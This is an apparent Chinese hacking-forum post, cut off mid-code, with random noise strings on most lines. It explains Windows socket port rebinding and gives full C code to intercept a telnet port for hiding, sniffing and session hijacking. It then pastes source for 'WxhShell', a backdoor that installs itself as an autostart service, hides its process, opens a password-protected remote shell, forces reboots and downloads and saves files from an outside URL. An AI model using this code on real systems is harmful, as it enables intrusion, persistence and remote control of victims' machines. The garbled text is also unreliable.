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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (bEX"U-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q(@/,%EF  
vd>K=! J  
  saddr.sin_family = AF_INET; IHqY/j  
27mGX\T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {z)&=v@  
;{1J{-EA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u 6&<Bv  
C9l5zb~D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jwsl"zL  
6{h+(|.(  
  这意味着什么?意味着可以进行如下的攻击: +B^(,qKMN  
.yz-o\,gF%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Tj &PB_v1  
[e1kfw  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [Xp{z tGE  
yn&AMq ]o  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (_&W@:"z  
8`bQ,E+2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  a[TR_ uR  
rMDo5Z2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w)x`zVwO  
!N5+.E0j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'qD5  
u{%gB&nC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [hy:BV6H+  
C;m7 ~R  
  #include om3$=  
  #include (hywT)#+  
  #include rNzsc|a:  
  #include    <^:e)W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @NBWNgBv  
  int main() f.f5f%lO~  
  { KP)BD;  
  WORD wVersionRequested; qGndh  
  DWORD ret; k~|nU  
  WSADATA wsaData; _n9+(X3  
  BOOL val; y/' ^r?  
  SOCKADDR_IN saddr; \Y'#}J"dh  
  SOCKADDR_IN scaddr; - w41Bvz0  
  int err; z-(#Mlq:!  
  SOCKET s; s3m]rC  
  SOCKET sc; .0x+b-x  
  int caddsize; ibDMhW$n  
  HANDLE mt; 2u9^ )6/  
  DWORD tid;   rCcNu  
  wVersionRequested = MAKEWORD( 2, 2 ); gv=mz,z  
  err = WSAStartup( wVersionRequested, &wsaData ); x<) %Gs}tb  
  if ( err != 0 ) { ; n2|pC^  
  printf("error!WSAStartup failed!\n"); ]h (TZu  
  return -1; muLt/.EZ  
  } p'afCX@J  
  saddr.sin_family = AF_INET; "cerg?ix  
   KMz\h2X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MWSx8R)PN  
} g  WSV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iQ= %iou  
  saddr.sin_port = htons(23); HgG-r&r!2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _E5%Px5>L  
  { k*bfq?E a  
  printf("error!socket failed!\n"); &s!"pEZWck  
  return -1; rI&GM |  
  } ^G63GYh]y  
  val = TRUE; ]pLQ;7f7D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Oq{&hH/'}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K?')#%Z/{#  
  { hq9b  
  printf("error!setsockopt failed!\n"); 2G"mm (   
  return -1; =YX/]g|9K  
  } db"FC3/H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?{#P.2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *AXu_^^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dN>XZv  
ZTG*|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lo:]r.lX{  
  { OVO0Emv  
  ret=GetLastError(); hCO*gtA)M  
  printf("error!bind failed!\n"); z602(mxGg  
  return -1; iV#JJ-OBq  
  } |u)?h] >  
  listen(s,2); puS'9Lpp  
  while(1) ;VS;),h/  
  { /vPh_1  
  caddsize = sizeof(scaddr); dQ^>,(  
  //接受连接请求 HZ=Dd4!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); daBu<0\  
  if(sc!=INVALID_SOCKET) "}D uAs  
  { !TY4C`/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KdF QlQaj  
  if(mt==NULL) 1?HUXN#,  
  { sSOI5W3A  
  printf("Thread Creat Failed!\n"); ?/"@WP9  
  break; TQK>w'L  
  } %iIryv;  
  } s)yEVh  
  CloseHandle(mt); }M f}gCEW  
  } oUZwZ_yKW  
  closesocket(s); VS^%PM#:/  
  WSACleanup(); WX 79V  
  return 0; %Zx/XMs}e  
  }   J{$C}8V  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'q1)W'  
  { AEK* w4  
  SOCKET ss = (SOCKET)lpParam; Z!6\KV]  
  SOCKET sc; N;D (_:^  
  unsigned char buf[4096]; mT@UQCG  
  SOCKADDR_IN saddr; qsFA~{o.  
  long num; :RHNV  
  DWORD val; }*$-rieg  
  DWORD ret; /{7x|ay]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >;o^qi_$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F$ Us! NN  
  saddr.sin_family = AF_INET; $ sEe0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dT,X8 "  
  saddr.sin_port = htons(23); 8NeP7.U<w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =0,")aa!  
  { 0"u*Kn  
  printf("error!socket failed!\n"); bEbO){Fe  
  return -1; +Qu~UK\   
  } 4_PMl6qo  
  val = 100; (W3R3>;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S7wZCQe  
  { =DE5 Wq19  
  ret = GetLastError(); uVDB; 6  
  return -1; <3HW!7Ad1  
  } ,k{{ZP P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {FQ dDIj#  
  { H|F>BjXn5  
  ret = GetLastError(); B_`A[0H  
  return -1; {>QrI4*A  
  } RZ|s[b U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nT|fDD|  
  { K"Nq_Ddwd  
  printf("error!socket connect failed!\n"); G7%Nwe~Y  
  closesocket(sc); ICq;jfML  
  closesocket(ss); .eZ4?|at.F  
  return -1; :BMUc-[  
  } ; {I{X}b  
  while(1) }M'\s  
  { 2c0eh-Gf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E'[pNU*"x-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7_#v_ A^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 plfz)x3  
  num = recv(ss,buf,4096,0); M P0ww$(  
  if(num>0) }}t"^ms  
  send(sc,buf,num,0); 2)[81a  
  else if(num==0) +t.T+` EG  
  break; v.r$]O  
  num = recv(sc,buf,4096,0); S)g5Tu)  
  if(num>0) ^_5$+  
  send(ss,buf,num,0); o>U%3-+T^J  
  else if(num==0) seAkOIc  
  break; L$@RSKYp  
  } n{4&('NRFP  
  closesocket(ss); * +A!12s@  
  closesocket(sc); N@Slc 0  
  return 0 ; +|#sF,,X4g  
  } k qwS/s  
Bu!Gy8\  
Qg9{<0{u  
========================================================== 7 hnTHL  
4 D\_[(P  
下边附上一个代码,,WXhSHELL '|Q=J)  
-iH/~a  
========================================================== Vx* =  
rK=[&k  
#include "stdafx.h" 8VMq>-  
i>)Whr'e8  
#include <stdio.h> ;=h^"et  
#include <string.h> %HYC-TF#  
#include <windows.h> i7 p#%2  
#include <winsock2.h> <PV @JJ"  
#include <winsvc.h> !EpP-bq'*  
#include <urlmon.h> hCr7%`  
n4Q!lJ  
#pragma comment (lib, "Ws2_32.lib") *vBcT.|,  
#pragma comment (lib, "urlmon.lib") |&RdOjw$u  
7!MW`L/`  
#define MAX_USER   100 // 最大客户端连接数 NRoi` IIj  
#define BUF_SOCK   200 // sock buffer aK1|b=gVj  
#define KEY_BUFF   255 // 输入 buffer Atfon&^  
h+Dg"j<[  
#define REBOOT     0   // 重启 v`Sllv5bV  
#define SHUTDOWN   1   // 关机 H.i_,ZF  
4s"8e]q=  
#define DEF_PORT   5000 // 监听端口 [eWB vAiW  
(#Y2H  
#define REG_LEN     16   // 注册表键长度 4|++0=#D$  
#define SVC_LEN     80   // NT服务名长度 8swj'SjX  
cp.)K!$  
// 从dll定义API xTAC&OCk^[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); { Ja#pt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7qzI]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (V e[FhA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2]> s@?[  
nH T2M{R  
// wxhshell配置信息 1RcaE!\p  
struct WSCFG { AE7>jkHB  
  int ws_port;         // 监听端口 /ebYk-c  
  char ws_passstr[REG_LEN]; // 口令 AV&W&$  
  int ws_autoins;       // 安装标记, 1=yes 0=no t[an,3  
  char ws_regname[REG_LEN]; // 注册表键名 WfO6Fvx%  
  char ws_svcname[REG_LEN]; // 服务名 pOS.`rSK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @ @# G.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <[a9"G 7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \" .3x PkE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C=hE@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =AR'Pad  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p=7kFv  
Yq;S%.  
}; %W`pTvF  
DUW;G9LP$-  
// default Wxhshell configuration -?e~S\JH  
struct WSCFG wscfg={DEF_PORT, g~Q#U;]  
    "xuhuanlingzhe", [#2= w  
    1, zo]7#  
    "Wxhshell", KUuwScb\  
    "Wxhshell", jRq>Sz{8  
            "WxhShell Service", U'lrdc"Q  
    "Wrsky Windows CmdShell Service", # <&=ZLN  
    "Please Input Your Password: ", vEfX'gyk  
  1, yY,.GzIjCj  
  "http://www.wrsky.com/wxhshell.exe", uO BpMAJ  
  "Wxhshell.exe" M(/%w"R  
    }; n|^-qy'w  
x$M[/ID0  
// 消息定义模块 R8HA X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 44_n5vp,T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Lw!@[;2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P^1rNB  
char *msg_ws_ext="\n\rExit."; !})+WSs'"s  
char *msg_ws_end="\n\rQuit."; t/q\Ne\\,  
char *msg_ws_boot="\n\rReboot..."; ^s24f?3  
char *msg_ws_poff="\n\rShutdown..."; WddU|-W  
char *msg_ws_down="\n\rSave to "; }25{"R}K  
%7V?7BE  
char *msg_ws_err="\n\rErr!"; N 8mK^{  
char *msg_ws_ok="\n\rOK!"; Dy8Go4  
TJO|{Lxm  
char ExeFile[MAX_PATH]; St&XG>nWS  
int nUser = 0; c"0CHrd  
HANDLE handles[MAX_USER]; Vuz!~kLYIn  
int OsIsNt; 2gFQHV  
iOD9lR`s  
SERVICE_STATUS       serviceStatus; }*0%wP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _ k>j?j-  
lz# inC|  
// 函数声明 {O!fV<Vx 9  
int Install(void); (T`x-wTl  
int Uninstall(void); sQt@B#;  
int DownloadFile(char *sURL, SOCKET wsh); -4HI9Czts  
int Boot(int flag); OGae]O<  
void HideProc(void); +/UInAM  
int GetOsVer(void); &os* @0h4  
int Wxhshell(SOCKET wsl); 5F0sfX  
void TalkWithClient(void *cs); Zi|'lHr  
int CmdShell(SOCKET sock); !X#=Pt[,  
int StartFromService(void); OO\UF6MCU  
int StartWxhshell(LPSTR lpCmdLine); VoP(!.Ua>7  
9^jO^[>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iF`E> %#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LWIU7dw  
*Jp>)>  
// 数据结构和表定义 5@Rf]'1B0  
SERVICE_TABLE_ENTRY DispatchTable[] = a:P% r  
{ vO"AJ`_  
{wscfg.ws_svcname, NTServiceMain}, Be}Cj(C  
{NULL, NULL} O0~[]3Y[=  
}; 6i&WF<%D  
{zg}KiNDZd  
// 自我安装 "_5av!;A g  
int Install(void) h{>8W0W*  
{ N(F9vZOs  
  char svExeFile[MAX_PATH]; B\N,%vsx#U  
  HKEY key; L18Olu  
  strcpy(svExeFile,ExeFile); WXGLo;+>I  
i%-c/ lop  
// 如果是win9x系统,修改注册表设为自启动 hp[8.Z$7  
if(!OsIsNt) { {L.0jAwB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^8We}bs-c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1k "*@Z<  
  RegCloseKey(key); *UEo&B2+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~/gqXT">  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b/2t@VlL  
  RegCloseKey(key); 9/Q5(P  
  return 0; aIJ[K  
    } T#h`BtET[  
  } *y.KD4@{  
} = "Dmfy7  
else { zJtYy4jI)  
Jd)|== yD  
// 如果是NT以上系统,安装为系统服务  +/AW6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wn|Sdp  
if (schSCManager!=0) $g#%  
{ -S9$C*t  
  SC_HANDLE schService = CreateService B \[P/AC  
  ( V =1Y&y  
  schSCManager, Vx?a&{3]-  
  wscfg.ws_svcname, -CxaOZG  
  wscfg.ws_svcdisp, {fk'g(E8([  
  SERVICE_ALL_ACCESS, ]LNP"vi;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1oodw!hW  
  SERVICE_AUTO_START, X@ jml$;$  
  SERVICE_ERROR_NORMAL, Jf4D">h  
  svExeFile, IDwneFO  
  NULL, g6 r3V.X'  
  NULL, +=;F vb  
  NULL, +d Ig&}Tr  
  NULL, _[IN9ZC2G  
  NULL hb[K.`g  
  ); XCQ =`3f  
  if (schService!=0) NcFHvK  
  { Q>= :$I  
  CloseServiceHandle(schService); ={8ClUV#  
  CloseServiceHandle(schSCManager); m!w(Q+*j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :'a |cjq  
  strcat(svExeFile,wscfg.ws_svcname); XG_ lyx%:E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y \V!OY@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _fa2ntuS=f  
  RegCloseKey(key); i>>_S&!9p  
  return 0; :\gdQG  
    } qKZ~)B j  
  } 57rc|]C  
  CloseServiceHandle(schSCManager); M0 =K#/  
} OG/R6k.  
} #t po@pJsE  
I`zn#U'  
return 1; H8rDG/>^  
} M~p=OM<  
E*j)gj9  
// 自我卸载 #k5Nnv#(J  
int Uninstall(void) "J3@Z,qW  
{ [y64%|m  
  HKEY key; gQ/-.1Pz$  
)>C,y`,  
if(!OsIsNt) { `epO/Uu\~u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mGwB bY+5n  
  RegDeleteValue(key,wscfg.ws_regname); *8t_$<'dQ  
  RegCloseKey(key); 9;sebqC?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `a98+x?JF  
  RegDeleteValue(key,wscfg.ws_regname); ebp18_a|  
  RegCloseKey(key); 68W&qzw.[r  
  return 0; @=isN'>]O  
  } [*]&U6\j  
} 7S(5\9  
} k7'B5zVd  
else { ggXg4~WL  
%9uLxC;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %F]4)XeW-+  
if (schSCManager!=0) i4JqU\((]  
{ QI.{M$,m~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >5'C<jc C  
  if (schService!=0) /*B-y$WQk  
  { d[6[3B  
  if(DeleteService(schService)!=0) { CcG{+-= H)  
  CloseServiceHandle(schService); LlrUJ-uC7  
  CloseServiceHandle(schSCManager); Z9E[RD  
  return 0; IlN9IF\9L  
  } vB hpD  
  CloseServiceHandle(schService); U4w^eWzP  
  } !Z 3iu  
  CloseServiceHandle(schSCManager); 8rx?mX,}  
} Q~MV0<{  
} pIXbr($  
&-dyg+b3  
return 1; { r yv7G  
} -hZlFAZi  
kn:X^mDXC/  
// 从指定url下载文件 2"cUBFc1I  
int DownloadFile(char *sURL, SOCKET wsh) rF'_YYpr>  
{ ;G |5kvE>  
  HRESULT hr; Y`eUWCD  
char seps[]= "/"; 2_'{f1bVxz  
char *token; )*}2L_5]  
char *file; 7_xQa$U[  
char myURL[MAX_PATH]; [K1RP.  
char myFILE[MAX_PATH]; 3x@t7B  
IH(]RHTp%  
strcpy(myURL,sURL); Ha>Hb`  
  token=strtok(myURL,seps); yr8 b?m.x  
  while(token!=NULL) ,UNCBnv1  
  { !VBl/ aU@  
    file=token; 7:awUoV8f  
  token=strtok(NULL,seps); `!V=~"ve  
  } Q"itV&d,  
OE[| 1?3  
GetCurrentDirectory(MAX_PATH,myFILE); qS1byqq78l  
strcat(myFILE, "\\"); }#]2u| G  
strcat(myFILE, file); "ld4v+o8l  
  send(wsh,myFILE,strlen(myFILE),0); VbLwhA2W}F  
send(wsh,"...",3,0); m?G@#[ l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *m)+|v}  
  if(hr==S_OK) Wwo'pke  
return 0; eLPWoQXt  
else j]Y`L?!Q  
return 1; 2%o@?Rp  
4}-{sS}MP  
} i286 J.  
xDJ@MW#  
// 系统电源模块 T)4pLN E  
int Boot(int flag) >8%<ML  
{ Lmh4ezrdH  
  HANDLE hToken; ( $s%5|  
  TOKEN_PRIVILEGES tkp; nbd-f6F6  
>(T)9fKF  
  if(OsIsNt) { X$mCn#8m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /<zBjvr%%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A><w1-X&=o  
    tkp.PrivilegeCount = 1; iR(=< >  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EGJ d:>k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wN}@%D-[v  
if(flag==REBOOT) { [ {@0/5i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X 0\O3l* j  
  return 0;  ZDn5d%  
} my1FW,3  
else { Kd,8PV*_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L?h'^*F H}  
  return 0; LeP;HP|  
}  Q6qIx=c4  
  } B=!&rKF  
  else { t_ju[xL5B  
if(flag==REBOOT) { YL[n85l>1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d-%bRGo/  
  return 0; 41^=z[k  
} {~*^jS']5  
else { Sao4MkSz[]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |!Ryl}Oi  
  return 0; GycW3tc]_&  
} `PoFKtVX M  
} =5l20 Um  
Po B-:G6  
return 1; (D5sJ$&E@\  
} -/w#f&Y+]8  
a%g|E'\Jw  
// win9x进程隐藏模块 sd m4zV]&  
void HideProc(void) _ZMAlC*$G  
{ L|hoA9/]  
Acix`-<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vf*Z}'  
  if ( hKernel != NULL ) Py72:;wn  
  { ! )x2   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5 *R{N ~>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _A/q bm  
    FreeLibrary(hKernel); |&49YQ  
  } 3u,CI!  
#lDW?  
return; w! kWG,{C  
} [C-4*qOaa2  
,%=SO 82W  
// 获取操作系统版本 R` HC EX)  
int GetOsVer(void) y&&%%3  
{ Y?'Krw `  
  OSVERSIONINFO winfo; Y W9+.Dc`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |O';$a1S  
  GetVersionEx(&winfo); ;udV"7C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U0J_ 3W  
  return 1; !'qY  
  else ^!v{ >3  
  return 0; &# < M o  
} qP k`e}D  
? h |&kRq  
// 客户端句柄模块 b/soU2?^  
int Wxhshell(SOCKET wsl) Rt+ak}  
{ C{<H)?]*BF  
  SOCKET wsh; N|5fkx<d^  
  struct sockaddr_in client; S.,5vI"s,  
  DWORD myID; y>! 8mDvZ  
wl.a|~-  
  while(nUser<MAX_USER) 4`[2Te>  
{ FGey%:p9$  
  int nSize=sizeof(client); xO_u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2L(\-]%f  
  if(wsh==INVALID_SOCKET) return 1; AW <"3 !@  
LX8A@Yct  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E' _6v  
if(handles[nUser]==0) xP7#`S6W  
  closesocket(wsh); ss0`9:z  
else V'^E'[Dd{  
  nUser++; )&{<gyS1  
  } uc>]-4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); : *8t,f~s^  
+R2+?v6  
  return 0; 3j7Na#<tL3  
} S&J>15oWM`  
7R7e3p,K  
// 关闭 socket xOt {Vsv  
void CloseIt(SOCKET wsh) 3C gmZ7[  
{ {2.zzev'  
closesocket(wsh); Whl^~$+f  
nUser--;  SH6+'7  
ExitThread(0); /T<))@$  
} =/e$Rp  
8pXqgIbmb  
// 客户端请求句柄 I~F]e|Ehqr  
void TalkWithClient(void *cs) A}4 ",  
{ 4DgH/Yo  
`$t|O&z  
  SOCKET wsh=(SOCKET)cs; Y(&rlL(sPK  
  char pwd[SVC_LEN]; E_ D0Nm%n  
  char cmd[KEY_BUFF]; 8J)Kn4jq  
char chr[1]; 6L<QKE=  
int i,j; 'Px}#f0IR  
j8)rz  
  while (nUser < MAX_USER) { G{74o8  
\7PC2IsT3  
if(wscfg.ws_passstr) { :MihVLF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }2hU7YWt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :/R>0n,  
  //ZeroMemory(pwd,KEY_BUFF); l T#WM]  
      i=0; VA5f+c/ %  
  while(i<SVC_LEN) { BG8`B'i  
_0|@B8!J?  
  // 设置超时 QlMv_|`9  
  fd_set FdRead; ?kULR0uL+  
  struct timeval TimeOut; \0n<6^y  
  FD_ZERO(&FdRead); *?pnTQs^  
  FD_SET(wsh,&FdRead); BA8g[T A7K  
  TimeOut.tv_sec=8; 9qk J<  
  TimeOut.tv_usec=0; Y|6gg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q 7-ZPX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WP{U9YF2  
u'T?e+=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N~ajrv}kd  
  pwd=chr[0]; RiZ)#0  
  if(chr[0]==0xd || chr[0]==0xa) { G 2`hEX%  
  pwd=0; ~ycWc Zi>  
  break; 7Ue&y8Yf  
  } A,EuUp  
  i++; v7/k0D .  
    } uO>pl37@  
_jb&=f8  
  // 如果是非法用户,关闭 socket J1w,;T\55  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,3 [FD9  
} \dbaY:(  
OF0v0Y/a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *v$j n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @RZbo@{~  
i|rCGa0}  
while(1) { hC4 M}(XM  
P%;lHC #i  
  ZeroMemory(cmd,KEY_BUFF); vVZ+u4y  
?{P$|:ha  
      // 自动支持客户端 telnet标准   7x]q>Y8T  
  j=0; 1vYa&!  
  while(j<KEY_BUFF) { L|nFN}da  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m%nRHT0KAf  
  cmd[j]=chr[0]; < lUpvr  
  if(chr[0]==0xa || chr[0]==0xd) { /9,y+"0SQz  
  cmd[j]=0; a'g&1N0Rc  
  break; u2IU/z8 ^  
  }  @{Dfro  
  j++; dsOt(yNo  
    } 1\)C;c,  
/A+5q\8G  
  // 下载文件 %f?Zg44  
  if(strstr(cmd,"http://")) { `(/xj{"Fr}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RXo6y(^  
  if(DownloadFile(cmd,wsh)) @yj~5Gf(j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :2V|(:^ '  
  else L F&!od9[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); At'M? Q@v  
  } x=-(p}0o;<  
  else { 7{]L{j-  
q8uq%wf  
    switch(cmd[0]) { NZO86y/  
  qDqy9u:g  
  // 帮助 ?mF:L"i  
  case '?': { Dbb=d8utE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a|(|!=  
    break; o+L [o_er  
  } ,L MN@G  
  // 安装 2`rJr  
  case 'i': { i3pOGa<  
    if(Install()) VrWQ]L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^*+j7A.n  
    else {c~w Ms#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .V\~#Ro$G  
    break; n]7rHV}G  
    } 76] Z~^Y  
  // 卸载 2jlz#Sk  
  case 'r': { \y6Y}Cv  
    if(Uninstall()) CpK:u! Dn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JpZ_cb`<E'  
    else &kn?=NW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /0!.u[t)~  
    break; 7IQa Xcl  
    } 5s;@;V  
  // 显示 wxhshell 所在路径 45x4JG  
  case 'p': { Aar]eY\  
    char svExeFile[MAX_PATH]; >FS%-eI6  
    strcpy(svExeFile,"\n\r"); 0!RP7Sx  
      strcat(svExeFile,ExeFile); Hzc}NyJ  
        send(wsh,svExeFile,strlen(svExeFile),0); wp'[AR}  
    break; hsJ^Au=})w  
    } -[&Z{1A4x4  
  // 重启 0l/7JH_@V  
  case 'b': { )T?BO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -0BxZ AW=  
    if(Boot(REBOOT)) X"mPRnE330  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xA<-'8ST  
    else { :fnJp9c  
    closesocket(wsh); =[[I<[BZq  
    ExitThread(0); Ui-Y `  
    } >o%X;U 3  
    break; 1r*yYm'  
    } P)XR9&o':  
  // 关机 ,7Ejb++/M,  
